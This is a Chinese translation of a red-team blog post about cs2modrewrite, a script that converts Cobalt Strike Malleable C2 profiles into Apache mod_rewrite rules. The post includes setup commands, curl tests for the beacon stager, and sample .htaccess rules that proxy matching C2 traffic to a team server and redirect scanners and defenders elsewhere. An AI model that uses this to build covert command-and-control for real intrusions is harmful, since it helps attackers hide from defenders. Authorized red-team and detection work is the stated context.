【安识译文系列】Apache mod_rewrite 和Cobalt Strike Malleable C2 Profiles 的自动转换

2018-03-13 8,624

12.png

本文描述了我创建的一个脚本, 用于将Cobalt Strike Malleable C2 Profiles转换为相应的 mod_rewrite 规则, 使其能智能的将 HTTP 代理重定向到 C2 通信。该脚本自动化过程被众所周知的红队成员,现在的同事-杰夫迪莫克 (@bluscreenofjeff) 所描述。智能的使用 C2 重定向是一个成熟的 C2 体系结构的核心, 使其可以经受一些轻度的检测和探查。开发Cobalt Strike与mod_rewrite兼容的规则来重定向通信并不是非常困难, 但是有一些 Apache "陷阱"要处理, 在处理多个 C2 配置文件时, 该过程很容易出错。自动化提高了一致性, 并减少了spin-up、测试和排除唯一和分层 C2 基础结构所需的时间。从好的基础开始总是好的。

2-840_340.png

cs2modrewrite 的亮点

  • 重写规则根据有效的 C2 uri (HTTP GET、POST 和 Stager) 和指定的用户代理字符串重写规则。结果: 默认情况下, 只有具有指定 UA 字符串的有效 C2 uri 的请求才会被代理到团队服务器。

  • 使用自定义的Malleable C2 配置文件生成具有相应 mod_rewrite 规则的. htaccess文件

  • 支持Cobalt Strike 3.10 配置文件的最新功能

  • HTTP 或 HTTPS 代理到Cobalt Strike团队服务器

  • HTTP 302 重定向到非匹配请求的合法站点

快速开始

  • 运行 Cobalt Strike的c2lint配置文件验证工具以确保所选的 C2 配置文件正常工作。

    ./c2lint havex.profile

  • 对 C2 配置文件运行 cs2modrewrite

    python ./cs2modrewrite.py -i havex.profile -c

    http://<myc2domain.com> -d http://<totallylegitsite.com>

  • 将输出保存到 web 根目录 (/var/www/html/. htaccess)

  • 根据需要修改/调整 .htaccess文件。

  • 确保 Apache 安装将遵守新的. htaccess文件。

  • 为重定向支持启用必要的 Apache 模块。

    a2enmod rewrite proxy proxy_http

  • 修改/etc/apache2/apache中的目录块以类似于下面的内容。这里的关键是确保 AllowOverride 设置为 “All”, 而不是 “None”。

    <Directory /var/www/html/> Options Indexes FollowSymLinks AllowOverride All Require all granted </Directory>

  • 启用新模块并更改配置后, 重新启动 Apache 实例。后续 .htaccess文件更改就不需要重新启动或重新加载 Apache。

    a service apache2 restart

  • 测试、测试、测试..。

  • 在尝试生成和执行任何信标之前,请使用一些初始命令对 mod_rewrite 规则进行一些快速初始测试和验证。

# This command should match the mod_rewrite stager rules and result in proxying of the beacon payload
$ curl -H “User-Agent: My Custom UA” http://redirector.com/<stagerui>
# This command should redirect to your chosen benign site
$ curl -H “User-Agent: Blue Forces UA” http://redirector.com/<stagerui>

使用脚本下载: https://github.com/threatexpress/cs2modrewrite

参数

cs2modrewrite.py [-h] [-i INPUTFILE] [-c C2SERVER] [-d DESTINATION]
Converts Cobalt Strike profiles to Apache mod_rewrite .htaccess file format by using the User-Agent and URI Endpoint to create rewrite rules. Make sure the profile passes a c2lint check before running this sript.
 optional arguments:
  -h, --help show this help message and exit
  -i INPUTFILE C2 Profile file
  -c C2SERVER C2 Server (http://teamserver)
  -d DESTINATION (Optional) Redirect to this URL (http://google.com)

输出样例

#### Save the following as .htaccess in the root web directory ########################################
## .htaccess START RewriteEngine On
## (Optional)
## Scripted Web Delivery
## Uncomment and adjust as needed
#RewriteCond %{REQUEST_URI} ^/css/style1.css?$
#RewriteCond %{HTTP_USER_AGENT} ^$
#RewriteRule ^.*$ "http://TEAMSERVER%{REQUEST_URI}" [P,L]
## Default Beacon Staging Support (/1234)
RewriteCond %{REQUEST_URI} ^/..../?$
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(Windows; U; MSIE 7.0; Windows NT 5.2\) Java/1.5.0_08" RewriteRule ^.*$ "http://TEAMSERVER%{REQUEST_URI}" [P,L]
## C2 Traffic (HTTP-GET, HTTP-POST, HTTP-STAGER URIs)
## Logic: If a requested URI AND the User-Agent matches, proxy the connection to the Teamserver
## Consider adding other HTTP checks to fine tune the check. (HTTP Cookie, HTTP Referer, HTTP Query String, etc)
## Refer to http://httpd.apache.org/docs/current/mod/mod_rewrite.html
## Profile URIs
RewriteCond %{REQUEST_URI} ^(/include/template/isx.php.*|/wp06/wp-includes/po.php.*|/wp08/wp-includes/dtcla.php.*|/modules/mod_search.php.*|/blog/wp-includes/pomo/src.php.*|/includes/phpmailer/class.pop3.php.*|/api/516280565958.*|/api/516280565959.*)$
## Profile UserAgent
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(Windows; U; MSIE 7.0; Windows NT 5.2\) Java/1.5.0_08"
RewriteRule ^.*$ "https://TEAMSERVER%{REQUEST_URI}" [P,L]
## Redirect all other traffic here
RewriteRule ^.*$ HTTPS://GOHERE/ [L,R=302]
## .htaccess END
########################################

总结

Python 脚本cs2modrewrite自动化了创建与 Apache mod_rewrite 进行智能重定向的 Malleable C2 兼容 htaccess 文件的过程。请试用并随时在 Twitter 上的@joevest和 ThreatExpress GitHub项目上提供反馈和建议.

有关开发 C2 体系结构的详细信息, 请查看红队Wiki.

参考资料

Apache mod_rewrite Official Documentation

Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite by Jeff Dimmock

Strengthen Your Phishing with Apache mod_reqwrite and Mobile User Redirection by Jeff Dimmock

https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.html

 

翻译者:安识科技章鱼哥

本文链接:https://www.secpulse.com/archives/69374.html

原文地址:https://posts.specterops.io/automating-apache-mod-rewrite-and-cobalt-strike-malleable-c2-profiles-d45266ca642

本文作者:安识科技

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/69374.html

Tags:
评论  (0)
快来写下你的想法吧!

安识科技

文章数:190 积分: 135

安识科技:专业的企业安全解决方案提供商。官网:https://www.duoyinsu.com/

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号